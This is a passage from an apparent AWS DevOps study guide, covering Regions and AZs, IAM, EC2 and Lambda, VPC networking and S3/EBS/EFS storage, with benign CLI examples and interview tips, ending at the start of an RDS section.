AWS physically runs in Regions (e.g. us-east-1 = N. Virginia, eu-west-1 = Ireland, ap-southeast-1 = Singapore). Each Region is a cluster of isolated datacenters grouped into Availability Zones (AZs). An AZ is one or more physical datacenters with independent power, cooling, and networking, but AZs in the same Region are linked by low-latency private fiber.

Region = a city (N. Virginia). A geographic area you pick.
AZ = separate neighborhoods in that city (us-east-1a, us-east-1b, us-east-1c), each with its own power grid, far enough apart that one flood/fire won't take down another.
Edge Location = a corner shop close to your house — used by CloudFront (CDN) and Route 53 to cache content near users for speed.

Note: Think of a Region like a big housing society in one city. Each AZ is a separate building (Tower A, B, C) with its own generator and water tank. If Tower A's power trips, Tower B is fine. So you spread your app across multiple towers — that's Multi-AZ. Edge Locations are the ATMs scattered all over the city so you don't have to drive to the main bank for cash.

Why Multi-AZ Matters for High Availability

If you run everything in one AZ and that AZ goes down, your app goes down. Period. Running across 2+ AZs means a failure in one is automatically absorbed by the others.

Multi-AZ RDS: a standby DB copy sits in another AZ; on failure AWS auto-promotes it (failover in ~60–120s).
EC2 + ELB Auto Scaling: spread instances across AZs; the load balancer routes around the dead AZ.
Multi-Region is the next level up — for disaster recovery (DR) and global latency, not just AZ failure. It costs more and is harder (data replication, DNS failover).

Note: A fintech runs its API on EC2 across us-east-1a and us-east-1b behind an Application Load Balancer, with RDS in Multi-AZ mode. When AWS had an AZ-level network issue, the ALB stopped sending traffic to the unhealthy AZ and RDS failed over to the standby. End users saw a 90-second blip instead of an outage. Single-AZ would have meant hours of downtime.

How to Choose a Region

Factor	What to check
Latency	Pick the Region closest to your users. Users in Southeast Asia → `ap-southeast-1`. Test with cloudping or RTT measurements.
Cost	Prices differ per Region. `us-east-1` is usually cheapest; some Regions (e.g. Sydney, São Paulo) can be pricier. Same instance, different bill.
Compliance / Data residency	Customer/financial data may legally need to stay in-country → pick the matching Region. GDPR data → an EU Region like `eu-west-1`.
Service availability	Newest services launch in `us-east-1` first. Some Regions lag. Check before committing.

Tip: Some services are global, not regional: IAM, Route 53, CloudFront, and WAF (for CloudFront). But the AWS console quietly defaults a lot of regional resources to us-east-1 — always confirm your selected Region (top-right of the console) before creating resources, or you'll "lose" an EC2 instance that's actually running (and billing) in the wrong Region.

Region vs AZ vs Edge Location

	Region	Availability Zone	Edge Location
What it is	Geographic area (a city)	1+ isolated datacenters in a Region	Small CDN/cache PoP near users
Count	30+ globally	Usually 3+ per Region	400+ globally
Used for	Choosing where to deploy	HA & fault tolerance within a Region	Caching content close to users (low latency)
Example service	Picked when launching EC2/RDS	Multi-AZ RDS, Auto Scaling groups	CloudFront, Route 53, Global Accelerator
Isolation	Fully isolated from other Regions	Independent power/cooling/network	Not for compute — caching only

Tip: Classic question: "What's the difference between Multi-AZ and Multi-Region?" Answer crisply: Multi-AZ = High Availability within one Region (handles datacenter/AZ failure, automatic, low cost). Multi-Region = Disaster Recovery + global reach across Regions (handles a whole-Region failure, more complex, costlier, needs data replication and DNS failover). Don't conflate them.

Shared Responsibility Model

AWS does NOT secure everything for you. Security and compliance are shared. The line is simple to remember:

AWS is responsible for the security OF the cloud — the hardware, the physical datacenters, the host hypervisor, networking backbone, and the managed-service infrastructure.
You are responsible for security IN the cloud — your data, your OS patches (on EC2), your IAM users/roles, your security groups, your application code, encryption settings.

Note: AWS is like a rental apartment building. The landlord (AWS) handles the building structure, the main gate security, the foundation, electricity supply. But inside your flat — locking your own door, what you keep inside, who you give a duplicate key to (IAM keys!) — that's on you. If you leave your flat door wide open, you can't blame the landlord.

AWS — "OF the cloud"	You (DevOps) — "IN the cloud"
Physical datacenter & hardware security	IAM users, roles, groups, MFA, least privilege
Hypervisor & host OS patching	Guest OS patching on EC2 (you own the AMI/instance)
Global network infrastructure	Security Groups, NACLs, VPC subnet design
Managed service uptime (S3, RDS engine, Lambda runtime)	Your data, client/server-side encryption, S3 bucket policies (don't make it public by accident!)
Decommissioning/wiping failed disks	Your application code & its vulnerabilities

Caution: The responsibility line shifts with the service type. On EC2 (IaaS) you patch the OS. On RDS (PaaS) AWS patches the DB engine but you still manage users, schemas, and encryption. On Lambda/S3 (serverless/managed) AWS handles even more, but data security and access policies are always yours. The most common breach in the news? A publicly-exposed S3 bucket — 100% the customer's fault, never AWS's.

Billing and Free Tier

AWS pricing is fundamentally pay-as-you-go: no upfront cost (unless you choose to commit), you pay only for what you actually use — per second/hour of compute, per GB of storage, per GB of data transfer out. No usage = (mostly) no bill. But "mostly" is where beginners get bitten.

Note: Pay-as-you-go is like an electricity meter, not a fixed monthly rent. You only pay for the units you burn. But some things keep the meter running even when you're "not using" them — like a reserved parking spot you booked but left empty (an idle Elastic IP), or a security guard you hired and forgot to send home (a running NAT Gateway). The meter doesn't care that you forgot.

The 3 Types of Free Tier

Type	How long	Examples
Always Free	Forever (within limits)	Lambda 1M requests/month, DynamoDB 25 GB, CloudWatch basic metrics
12-Month Free	12 months from signup	EC2 `t2.micro`/`t3.micro` 750 hrs/mo, S3 5 GB, RDS 750 hrs/mo
Trials	Short fixed window (e.g. 30/90 days)	Short-term service trials like certain SageMaker/Inspector features

Caution: What surprises beginners and quietly inflates the bill — even on "free tier": 1) Data transfer OUT: data going INTO AWS is free, but data going OUT to the internet costs money beyond the small free allowance. 2) Idle Elastic IPs (EIPs): an EIP is free only while attached to a running instance. Allocate one and leave it unattached and you pay hourly. 3) NAT Gateway: charges both an hourly rate AND per-GB processed — and it is NOT free tier. Spin one up in a tutorial, forget it, and it bleeds money 24/7. This is the #1 "why is my bill so high?" culprit.

Tip: On day one: set a Billing Alarm in CloudWatch (or AWS Budgets) for a low threshold like $5–$10. Enable Cost Explorer and check it weekly. Also stop/terminate tutorial resources when done — stop halts EC2 compute charges but you still pay for the EBS volume; terminate kills it fully. Tag resources by project so you can see exactly what's costing what.

IAM — Identity and Access Management

IAM is the front gate and key system of your entire AWS account: who can log in, and what they're allowed to do. It's the #1 DevOps interview area because almost every security incident traces back to bad IAM. IAM is global (not regional) and, importantly, free.

An IAM user or an EC2 instance role both attach to a policy, which defines which AWS resources and actions are permitted.

Root User vs IAM User

When you create an AWS account, you get a root user (the email you signed up with). The root user has unlimited, unrestricted power — it can do anything, including close the account and change billing. That's exactly why you should almost never use it.

Root user: full god-mode access. Use it only for a tiny set of tasks that require root (e.g. changing account settings, closing the account).
IAM user: an identity you create for a person or app, with only the permissions they need.

Note: The root user is the master key to the whole building — opens every door, the safe, the main switchboard, everything. You don't carry the master key around daily; you lock it in a vault, put a heavy alarm (MFA) on it, and hand out individual room keys (IAM users) for day-to-day work. If you lose the master key, the whole building is compromised.

Caution: Lock away root immediately: (1) enable MFA on root, (2) delete any root access keys — root should never have programmatic keys, (3) create an admin IAM user (or, better, use IAM Identity Center / SSO) for daily work, (4) never share or hardcode root credentials. A leaked root key = total account takeover, including running up massive bills and deleting all your data.

Users vs Groups

Attaching policies to each user individually doesn't scale. Groups are collections of users — you attach policies to the group, and every member inherits them.

User: a single identity (a person or a service account).
Group: e.g. Developers, Admins, ReadOnly. Add a user to the group and they get its permissions. Remove them and access goes away instantly.
A group is NOT an identity — you can't make a group the "principal" of an action, and groups can't be nested.

Policies — The Rules of Access

A policy is a JSON document defining permissions. Two big ways to categorize them:

	Identity-based policy	Resource-based policy
Attached to	An IAM user, group, or role	A resource (e.g. S3 bucket, SQS queue, KMS key)
Answers	"What can this identity do?"	"Who can access this resource?"
Has a Principal?	No (the identity is the principal)	Yes — specifies who (account/user/service)
Cross-account	Not directly	Yes — great for sharing across accounts
Example	"Devs can read S3 bucket X"	"S3 bucket policy: allow account B to read"

Managed vs inline:

AWS Managed: prebuilt by AWS (e.g. AmazonS3ReadOnlyAccess). Convenient, auto-updated, but often broader than you need.
Customer Managed: you create and reuse them across identities. Best for least privilege — version-controlled, reusable.
Inline: embedded directly into one user/group/role, 1:1, deleted with it. Use sparingly — for strict one-off relationships only.

Policy JSON Structure

Every statement has an Effect (Allow/Deny), Action (the API calls), Resource (the ARN it applies to), and optionally a Condition. This one lets a user list a specific bucket and read/write objects only under the app/ prefix:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "ListTheBucket",
      "Effect": "Allow",
      "Action": "s3:ListBucket",
      "Resource": "arn:aws:s3:::my-app-bucket",
      "Condition": {
        "StringLike": { "s3:prefix": "app/*" }
      }
    },
    {
      "Sid": "ReadWriteAppObjects",
      "Effect": "Allow",
      "Action": [
        "s3:GetObject",
        "s3:PutObject"
      ],
      "Resource": "arn:aws:s3:::my-app-bucket/app/*"
    }
  ]
}

Tip: Remember the evaluation logic: everything is implicitly denied by default. An explicit Allow grants access, but an explicit Deny always wins over any Allow. So you can broadly allow, then surgically deny sensitive actions. Interviewers love asking "Allow vs Deny — which wins?" Answer: explicit Deny always trumps Allow.

IAM Roles — Why Roles Beat Long-Lived Keys

A role is an identity with permissions but no permanent credentials. Instead, a trusted entity assumes the role and gets temporary credentials (via STS) that auto-expire. This is the single most important IAM best practice.

Note: An access key is like a permanent house key you cut and hand out — if it leaks, it works forever until someone notices and changes the lock. A role is like a hotel keycard: the front desk (STS) issues a fresh card that stops working after checkout. Even if someone copies it, it's useless in a few hours. This is why roles always beat long-lived keys.

Where roles shine:

EC2 Instance Profile: attach a role to an EC2 instance so your app calls AWS APIs without ever storing keys on the box. The SDK auto-fetches rotating temp creds from instance metadata.
AssumeRole: a user/service calls sts:AssumeRole to temporarily become the role.
Cross-account access: account A's role trusts account B; B's users assume it — no shared keys between accounts.
Service roles: e.g. Lambda execution role, ECS task role — the AWS service assumes the role to act on your behalf.

Caution: Never hardcode access keys in code, Dockerfiles, environment files committed to Git, or AMIs. Leaked keys on public GitHub are scraped by bots within minutes and used to spin up crypto-mining fleets — landing you a five-figure bill. On EC2/ECS/Lambda, always use a role instead.

IAM User vs IAM Role

	IAM User	IAM Role
Credentials	Long-lived (password / access keys)	Temporary, auto-expiring (via STS)
Who uses it	A specific person/app, persistently	Anyone/anything trusted who assumes it
Best for	Human console login	EC2/Lambda/ECS, cross-account, federation
Rotation	Manual, easy to forget	Automatic — handled by AWS
Leak risk	High (keys live forever)	Low (creds expire in minutes/hours)

IAM CLI Examples

Create a user, put them in a group, attach a managed policy:

# Create an IAM user
aws iam create-user --user-name riya-dev

# Create a group and attach an AWS managed policy to it
aws iam create-group --group-name Developers
aws iam attach-group-policy \
  --group-name Developers \
  --policy-arn arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess

# Add the user to the group (inherits the group's permissions)
aws iam add-user-to-group --user-name riya-dev --group-name Developers

# Enforce MFA-friendly console access (set a login profile / password)
aws iam create-login-profile \
  --user-name riya-dev --password 'Temp#Pass123' --password-reset-required

Create a role with a trust policy so EC2 can assume it, then give the role permissions:

# 1) Trust policy: WHO is allowed to assume this role (here: the EC2 service)
cat > trust-policy.json <<'EOF'
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": { "Service": "ec2.amazonaws.com" },
      "Action": "sts:AssumeRole"
    }
  ]
}
EOF

# 2) Create the role with that trust policy
aws iam create-role \
  --role-name app-s3-role \
  --assume-role-policy-document file://trust-policy.json

# 3) Attach a permissions policy (WHAT the role can do)
aws iam attach-role-policy \
  --role-name app-s3-role \
  --policy-arn arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess

# 4) Wrap it in an instance profile and attach to EC2 (no keys needed!)
aws iam create-instance-profile --instance-profile-name app-s3-profile
aws iam add-role-to-instance-profile \
  --instance-profile-name app-s3-profile --role-name app-s3-role

Tip: Two policy types per role: the trust policy (the assume-role-policy-document) controls WHO can assume the role, and the permissions policy controls WHAT the role can do once assumed. Interviewers often probe this distinction — keep them separate in your head.

Least Privilege

Grant only the minimum permissions needed to do the job — nothing more. Start with zero, add permissions as required, and scope tightly (specific actions, specific resource ARNs, conditions).

Prefer specific actions (s3:GetObject) over wildcards (s3:* or *).
Scope Resource to exact ARNs, not "*".
Use IAM Access Analyzer to generate least-privilege policies from real CloudTrail usage.
Review with the IAM Policy Simulator before rollout. Audit with Access Analyzer / credential reports regularly.

MFA and Access Key Best Practices

MFA everywhere: mandatory on root and all human users. Add a virtual/hardware MFA device. You can even require MFA in policies via a Condition (aws:MultiFactorAuthPresent).
Access keys: only for programmatic CLI/SDK use where roles aren't possible. Rotate them regularly, never commit to Git, and delete unused keys.
Prefer roles over access keys whenever the workload runs inside AWS (EC2/ECS/Lambda) — zero keys to manage.
Audit: use IAM credential reports and CloudTrail to find stale keys and unused permissions.

Compute — EC2, Lambda, Containers

Compute is "where your code actually runs." On AWS you pick how much control you want versus how much AWS manages for you. More control = more responsibility (EC2). Less control = AWS handles the boring stuff (Lambda, Fargate). As a DevOps engineer your job is choosing the right one for the workload.

EC2 gives full OS control for long-running workloads; Lambda is event-driven and fully managed, scaling to zero between invocations.

Note: Think of renting a place. EC2 is renting an empty flat — you bring furniture, fix the plumbing, control everything. Lambda is a hotel room you only pay for the minutes you're inside. Fargate is a serviced apartment — your stuff, but housekeeping (servers) is handled. Same "shelter," very different effort.

EC2 — Elastic Compute Cloud

EC2 is a virtual server (a VM) in AWS's data center. You choose the OS, CPU, RAM, disk, and you SSH in like any Linux box. It's the foundational "rent a server" service.

Instance Families and Types

Instances are grouped into families optimized for different workloads. The naming follows a pattern: m5.large = family m, generation 5, size large. Bigger size = more vCPU + RAM (and roughly double the price each step up).

General purpose (t, m) — balanced CPU/RAM. t3.micro (burstable, cheap, great for dev/small web), m5.large (steady workloads, app servers).
Compute optimized (c) — high CPU per RAM. c5.xlarge for batch processing, gaming servers, CI build runners.
Memory optimized (r, x) — lots of RAM. r5.large for databases, in-memory caches (Redis), big data.
Storage optimized (i, d) — high disk throughput/IOPS. i3.large for NoSQL, data warehousing, large local datasets.

Tip: t-family instances are burstable — they earn CPU credits when idle and spend them during spikes. Perfect for spiky low-traffic apps, but a constantly-busy server will run out of credits and throttle. For steady load, use m/c.

AMIs (Amazon Machine Images)

An AMI is the template an instance boots from — OS + pre-installed software + config. Think of it as a snapshot/golden image. You launch from an AWS-provided AMI (Amazon Linux, Ubuntu) or bake your own with your app baked in (faster, repeatable deploys — a core DevOps practice with tools like Packer).

Key Pairs (SSH)

To log into a Linux EC2 instance you use SSH key-based auth — no passwords. AWS gives you the public key (placed on the instance), you keep the private .pem file. Lose the private key and you're locked out.

# Create a key pair and save the private key locally
aws ec2 create-key-pair \
  --key-name my-devops-key \
  --query 'KeyMaterial' \
  --output text > my-devops-key.pem

# Lock down permissions (SSH refuses world-readable keys)
chmod 400 my-devops-key.pem

# Later, connect to the instance
ssh -i my-devops-key.pem ec2-user@<PUBLIC_IP>

User Data (Bootstrap Script)

User data is a script that runs once, on first boot, as root. This is how you bootstrap a fresh instance — install packages, pull config, start your app — without manually SSHing in. Essential for automation and Auto Scaling.

#!/bin/bash
# user-data.sh — bootstrap a simple web server on first boot
yum update -y
yum install -y nginx
echo "<h1>Deployed via user data</h1>" > /usr/share/nginx/html/index.html
systemctl enable nginx
systemctl start nginx

Launching an Instance via CLI

# Launch a t3.micro with the bootstrap script and our key
aws ec2 run-instances \
  --image-id ami-0abcdef1234567890 \
  --instance-type t3.micro \
  --key-name my-devops-key \
  --security-group-ids sg-0123456789abcdef0 \
  --subnet-id subnet-0123456789abcdef0 \
  --user-data file://user-data.sh \
  --tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=web-01}]'

# See what's running (handy filtered view)
aws ec2 describe-instances \
  --filters "Name=instance-state-name,Values=running" \
  --query 'Reservations[].Instances[].{ID:InstanceId,Type:InstanceType,IP:PublicIpAddress}' \
  --output table

Pricing Models

Same instance, very different bill depending on how you buy it. Interviewers love this.

On-Demand — pay per second, no commitment. Most expensive per hour, max flexibility. Use for unpredictable/short workloads and testing.
Reserved Instances (RI) — commit to a specific instance type for 1 or 3 years. Up to ~72% off. Use for steady, predictable baseline load.
Savings Plans — commit to a $/hour spend for 1–3 years; more flexible than RIs (applies across families/regions). The modern preferred way to save on steady load.
Spot Instances — bid on spare AWS capacity, up to ~90% off, but AWS can reclaim them with a 2-minute warning. Use for fault-tolerant, stateless, interruptible work (CI builds, batch jobs, big data).

Note: A typical production setup mixes them: Reserved/Savings Plans for the always-on baseline (web servers running 24/7), Spot for the Auto Scaling group that handles traffic spikes and nightly batch jobs, and On-Demand as fallback when Spot capacity isn't available. This can cut a compute bill by half or more.

Lambda vs EC2 — Serverless or Server?

Lambda runs your code in response to events (an HTTP request via API Gateway, a file landing in S3, a message in a queue) with zero servers to manage. AWS provisions, scales, and bills only for execution time (per millisecond). You give it a function; it runs it. But it's short-lived (15-min max), stateless, and you don't control the OS.

Aspect	EC2	Lambda
Model	Long-running virtual server	Event-driven function (serverless)
You manage	OS, patching, scaling, capacity	Just your code
Scaling	Manual / Auto Scaling groups	Automatic, instant, per-request
Billing	Per second while running (even idle)	Per ms of execution; $0 when idle
Max runtime	Runs forever	15 minutes per invocation
State	Stateful (local disk, memory persist)	Stateless (cold starts possible)
Best for	Steady traffic, full control, legacy apps, databases	Spiky/event-driven work, APIs, glue code, cron jobs

Tip: "When would you NOT use Lambda?" Strong answer: long-running jobs (>15 min), workloads needing predictable low latency (cold starts hurt), apps requiring specific OS/runtime control, or steady high-volume traffic where always-on EC2 is actually cheaper. Lambda shines for bursty, event-driven, "scale-to-zero" workloads.

Containers: ECS vs EKS vs Fargate

First, separate two things: the orchestrator (decides where containers run, restarts them, scales them) from the compute (the actual machines they run on).

ECS (Elastic Container Service) — AWS's own orchestrator. Simpler, deeply AWS-integrated, no K8s knowledge needed.
EKS (Elastic Kubernetes Service) — managed Kubernetes. Industry-standard, portable across clouds, bigger learning curve.
Fargate — NOT an orchestrator; it's a serverless compute engine. It runs containers for ECS or EKS without you managing any EC2 nodes. "Containers without servers."

	ECS	EKS	Fargate
What it is	AWS-native orchestrator	Managed Kubernetes orchestrator	Serverless compute for containers
Runs on	EC2 or Fargate	EC2 or Fargate	N/A (it IS the compute)
Learning curve	Low (AWS-specific)	High (full K8s)	Low — no servers to manage
Portability	AWS-locked	Portable (standard K8s)	AWS-only billing model
You manage nodes?	Yes (if EC2 mode)	Yes (if EC2 mode)	No — AWS handles it
Best for	Simple AWS-only container apps	K8s-standard, multi-cloud, complex orchestration	Anyone who wants containers without managing servers

Tip: "ECS vs EKS" and "Fargate" are not three competitors — Fargate is a launch type for ECS or EKS. A common combo is "ECS on Fargate": AWS-native simplicity + zero server management. Pick EKS only when you genuinely need Kubernetes (portability, team already knows K8s, complex workloads).

Networking — VPC and Friends

Networking is where a lot of DevOps engineers get stuck — and where interviewers love to probe. The good news: you already know networking basics (IPs, CIDR, routing). AWS just gives you software-defined versions of the same physical concepts. For a deeper treatment of subnets, CIDR design, and routing, see Networking for DevOps.

A VPC with a public subnet (IGW + NAT Gateway) and a private subnet (EC2); public traffic enters via the IGW while EC2 reaches the internet outbound through the NAT Gateway.

Note: A VPC is your own private gated society (housing colony) inside AWS's huge city. Subnets are blocks within the society. The route table is the society's road map (which road leads where). The Internet Gateway is the main gate to the outside world. Security Groups are guards at each house's door; NACLs are guards at the block's entrance.

VPC (Virtual Private Cloud)

A VPC is your own isolated virtual network inside AWS. Nothing outside it can reach in unless you explicitly allow it. You define its IP range using a CIDR block, e.g. 10.0.0.0/16 — that gives you ~65,536 private IP addresses to carve up. Size your VPC subnets with the Subnet Calculator and validate CIDR ranges with the CIDR Checker.

CIDR Blocks — Quick Refresher

CIDR notation = IP + "how many bits are fixed." /16 fixes the first 16 bits → 10.0.x.x is yours (65,536 IPs). /24 fixes 24 bits → 10.0.1.x (256 IPs). Smaller number after the slash = bigger network. You give the VPC a large block (/16) and slice subnets out of it (/24).

Tip: AWS reserves 5 IPs in every subnet (network address, VPC router, DNS, future use, broadcast). So a /24 subnet gives you 256 − 5 = 251 usable IPs, not 256. This trips people up when sizing subnets.

Subnets: Public vs Private

A subnet is a slice of the VPC, and it lives in one Availability Zone. The big question: what actually makes a subnet "public"?

It's NOT a checkbox called "public." A subnet is public if and only if its route table has a route to an Internet Gateway (0.0.0.0/0 → igw-xxxx). A private subnet has no such route — its traffic can't reach the internet directly.

Tip: Classic question: "What makes a subnet public?" Wrong answer: "it has public IPs." Correct answer: its route table routes 0.0.0.0/0 to an Internet Gateway. An instance also needs a public IP to be reachable, but the defining factor is the route to the IGW.

Route Tables

A route table is a set of rules deciding where network traffic goes. Each subnet is associated with exactly one route table. Every table has a local route (so subnets within the VPC can talk to each other automatically). You add routes for outside traffic — to an IGW (public) or a NAT Gateway (private).

Internet Gateway (IGW)

The IGW is a horizontally-scaled, highly-available component attached to your VPC that allows two-way communication between the VPC and the internet. One IGW per VPC. Without it, nothing in your VPC can reach the public internet, period.

NAT Gateway — Why Private Subnets Need It

Your app servers sit in a private subnet (no IGW route — good, attackers can't reach them). But they still need to download OS updates, pull packages, call external APIs. How do they reach out without being reachable in?

Answer: a NAT Gateway. It lives in a public subnet and does Network Address Translation. Private instances route 0.0.0.0/0 → NAT Gateway; the NAT forwards their outbound requests to the internet using its own public IP, and returns the responses. Crucially, NAT only allows outbound-initiated traffic — the outside world cannot start a connection back in.

Note: NAT Gateway is like a hotel front desk. Guests (private servers) can call out for room service or order food from outside, but no outsider can directly walk to your room — they only reach the front desk. Calls go out, randos can't come in.

Caution: NAT Gateways are NOT free — you pay per hour and per GB processed. They're a common surprise on AWS bills. Also, a NAT Gateway lives in one AZ; for high availability you deploy one per AZ. Don't put it in a private subnet by mistake (it needs the IGW route to work).

Request Flow: User to App

Walking through a request to a web app makes it click:

User's browser sends a request to your app's public IP / load balancer.
Traffic hits the Internet Gateway (the VPC's front gate).
The public subnet's route table directs it to the resource (e.g. a load balancer or web server with a public IP).
The NACL (block-level guard) checks subnet rules, then the Security Group (door-level guard) checks if the port is allowed.
The web tier forwards to app servers in the private subnet over the VPC's internal local route.
Response travels back out the same path. Because SGs are stateful, the return traffic is automatically allowed.

Security Groups vs NACLs

This is one of the most asked AWS interview questions. Both are virtual firewalls, but they operate at different levels and behave differently.

Security Group (SG) — attached to the instance/ENI (the door). Stateful: if you allow inbound traffic, the response is automatically allowed out (and vice versa). Allow rules only — you can't write a "deny" rule; anything not allowed is implicitly denied.
NACL (Network ACL) — attached to the subnet (the block gate). Stateless: you must explicitly allow both inbound AND the return outbound traffic. Supports allow AND deny rules, evaluated in numbered order.

Feature	Security Group	NACL
Level	Instance / ENI	Subnet
State	Stateful (return traffic auto-allowed)	Stateless (must allow both directions)
Rules	Allow only	Allow AND Deny
Rule evaluation	All rules evaluated together	In numbered order, first match wins
Default behavior	Deny all inbound, allow all outbound	Default NACL allows all; custom denies all
Use case	Primary, everyday instance firewall	Coarse subnet-wide rules, blocking specific IPs

Tip: Memorize the one-liner: "SG = stateful, instance-level, allow-only. NACL = stateless, subnet-level, allow + deny." Follow-up: "Can you block a single malicious IP?" → Yes, with a NACL deny rule (SGs can't deny). In practice, 95% of your work is in Security Groups; NACLs are a secondary, coarse layer.

Building VPC with the CLI

# 1. Create the VPC (grab the returned VpcId)
aws ec2 create-vpc \
  --cidr-block 10.0.0.0/16 \
  --tag-specifications 'ResourceType=vpc,Tags=[{Key=Name,Value=my-vpc}]'

# 2. Create a public subnet inside it
aws ec2 create-subnet \
  --vpc-id vpc-0123456789abcdef0 \
  --cidr-block 10.0.1.0/24 \
  --availability-zone ap-south-1a \
  --tag-specifications 'ResourceType=subnet,Tags=[{Key=Name,Value=public-1a}]'

# 3. Create a security group in the VPC
aws ec2 create-security-group \
  --group-name web-sg \
  --description "Allow HTTP and SSH" \
  --vpc-id vpc-0123456789abcdef0

# 4. Allow inbound HTTP (80) from anywhere and SSH (22) from your IP
aws ec2 authorize-security-group-ingress \
  --group-id sg-0123456789abcdef0 \
  --protocol tcp --port 80 --cidr 0.0.0.0/0

aws ec2 authorize-security-group-ingress \
  --group-id sg-0123456789abcdef0 \
  --protocol tcp --port 22 --cidr 203.0.113.25/32

Caution: Never open SSH (port 22) to 0.0.0.0/0 — that exposes your server to the entire internet's brute-force bots. Always restrict to your own IP (/32) or use a bastion host / AWS Systems Manager Session Manager (no open SSH port at all). This is a top finding in every security audit.

Storage — S3, EBS, EFS

AWS storage comes in three fundamental flavors, and knowing which to reach for is core DevOps knowledge: object storage (S3), block storage (EBS), and file storage (EFS).

S3 is object storage accessed over HTTPS; EBS is a block volume attached to a single EC2 instance; EFS is a shared NFS file system mountable by many instances simultaneously.

Note: EBS (block) = a hard drive plugged into one computer — fast, personal, one machine at a time. EFS (file) = a shared network drive in the office that everyone mounts at once. S3 (object) = a giant warehouse where you drop labelled boxes and fetch them by name via a web address — infinite shelves, but you can't "edit" a box, you replace it.

S3 — Simple Storage Service

S3 is object storage: you store objects (files + metadata) inside buckets (globally-unique named containers). It's accessed over HTTPS via an API/URL, scales infinitely, and is 99.999999999% (11 nines) durable. You don't mount it like a disk — you GET/PUT objects by key.

Caution: Bucket names are globally unique across all AWS accounts on Earth — like domain names. If someone took my-bucket, you can't. Use a prefix like mycompany-prod-logs-2026.

Versioning

Enable versioning and S3 keeps every version of an object. Overwrite or delete? The old version is retained (a "delete marker" is added instead of true deletion). This protects against accidental overwrites and ransomware. Once enabled, it can only be suspended, not fully disabled.

Lifecycle Policies

Rules that automatically move or expire objects over time to save money. Example: keep logs in Standard for 30 days, move to Infrequent Access, then to Glacier after 90 days, and delete after a year — all automatic. This is how you control storage costs at scale.

Storage Classes

S3 Standard — frequent access, lowest latency. Default for active data, website assets.
S3 Standard-IA (Infrequent Access) — cheaper storage, but you pay a retrieval fee. For data accessed rarely but needed instantly (backups, older logs).
S3 Glacier (Flexible / Deep Archive) — dirt cheap archival; retrieval takes minutes to hours. For compliance archives, long-term backups you rarely touch.
S3 Intelligent-Tiering — AWS auto-moves objects between tiers based on access patterns. Set-and-forget cost optimization.

Tip: Don't manually guess tiers for unpredictable access — use Intelligent-Tiering and let AWS optimize. Use explicit lifecycle policies when you KNOW the pattern (e.g., "logs are useless after 90 days").

Static Website Hosting

S3 can serve a static website (HTML/CSS/JS) directly — perfect for your React build output. Upload the build, enable website hosting, set the index document. Pair it with CloudFront (CDN) + an ACM certificate for HTTPS and global caching.

# Create a bucket
aws s3 mb s3://mycompany-react-app-2026 --region ap-south-1

# Upload your React production build
aws s3 sync ./build s3://mycompany-react-app-2026 --delete

# Enable static website hosting
aws s3 website s3://mycompany-react-app-2026 \
  --index-document index.html \
  --error-document index.html

Security: Block Public Access and Bucket Policies

Leaky S3 buckets are the most famous cause of data breaches. AWS now enables Block Public Access by default — a master switch that overrides any policy trying to make a bucket public. Access is otherwise controlled by bucket policies (JSON rules on the bucket) and IAM policies (rules on users/roles).

# Lock down public access (the safe default)
aws s3api put-public-access-block \
  --bucket mycompany-react-app-2026 \
  --public-access-block-configuration \
  BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true

# Enable versioning for safety
aws s3api put-bucket-versioning \
  --bucket mycompany-react-app-2026 \
  --versioning-configuration Status=Enabled

Caution: For a public website, the modern best practice is NOT to make the S3 bucket public. Instead keep Block Public Access ON and serve through CloudFront with an Origin Access Control (OAC), so only CloudFront can read the bucket. Public buckets should be a deliberate, rare exception.

EBS — Elastic Block Store

EBS is a block storage volume — a virtual hard disk you attach to a single EC2 instance. You format it, mount it, and it behaves like a local SSD. It's the root disk of most instances and where databases store data. It lives in one AZ and (traditionally) attaches to one instance at a time.

# Create a 50 GB gp3 SSD volume in a specific AZ
aws ec2 create-volume \
  --volume-type gp3 \
  --size 50 \
  --availability-zone ap-south-1a \
  --tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=db-data}]'

# Attach it to an instance (volume must be in the same AZ as the instance)
aws ec2 attach-volume \
  --volume-id vol-0123456789abcdef0 \
  --instance-id i-0123456789abcdef0 \
  --device /dev/sdf

Tip: EBS and EC2 must be in the same Availability Zone to attach — block storage is AZ-bound. To move data across AZs, take a snapshot (stored in S3 behind the scenes) and create a new volume from it in the target AZ.

EFS — Elastic File System

EFS is file storage — a managed NFS share that many EC2 instances mount simultaneously, across multiple AZs. It grows and shrinks automatically. Use it when a fleet of servers needs to read/write the same files (shared uploads, CMS content, web cluster assets).

Block vs File vs Object — When to Use Which

	S3 (Object)	EBS (Block)	EFS (File)
Type	Object store	Block volume (virtual disk)	Shared file system (NFS)
Access	HTTPS API / URL	Mounted to one EC2	Mounted to many EC2s
Attaches to	Anything over the internet	1 instance (1 AZ)	Many instances, multi-AZ
Scaling	Infinite, automatic	Fixed size (resize manually)	Automatic, elastic
Can edit in place?	No — replace whole object	Yes — random read/write	Yes — random read/write
Best for	Assets, backups, logs, static sites, big data	OS root disk, databases, single-server data	Shared storage across a server fleet

Tip: The killer interview line: "EBS = one disk for one server; EFS = one shared drive for many servers; S3 = object storage accessed over HTTP, not mounted." If asked "where do you store database files?" → EBS (low latency block). "Shared files across an Auto Scaling group?" → EFS. "Static assets / backups?" → S3.

Databases — RDS and DynamoDB

As a DevOps engineer, the database is the part nobody wants to babysit at 3am — so AWS gives you managed database services. You stop being a DBA and start being an operator who scripts the boring stuff away.

Note: Running a DB on a raw EC2 instance is like buying a car and also building your own service garage — you patch the engine, change the oil, handle backups. A managed database (RDS/DynamoDB) is like a chauffeur-driven car with a maintenance contract: you write business logic, AWS handles patching, backups, and failover.

Amazon RDS — Managed Relational

RDS = your familiar SQL world (tables, joins, foreign keys, transactions) but AWS handles provisioning, patching, backups, and failover. You pick an engine and AWS runs it for you.

Engines: PostgreSQL, MySQL, MariaDB, Oracle, SQL Server, and Amazon Aurora (AWS's high-performance MySQL/Postgres-compatible engine).
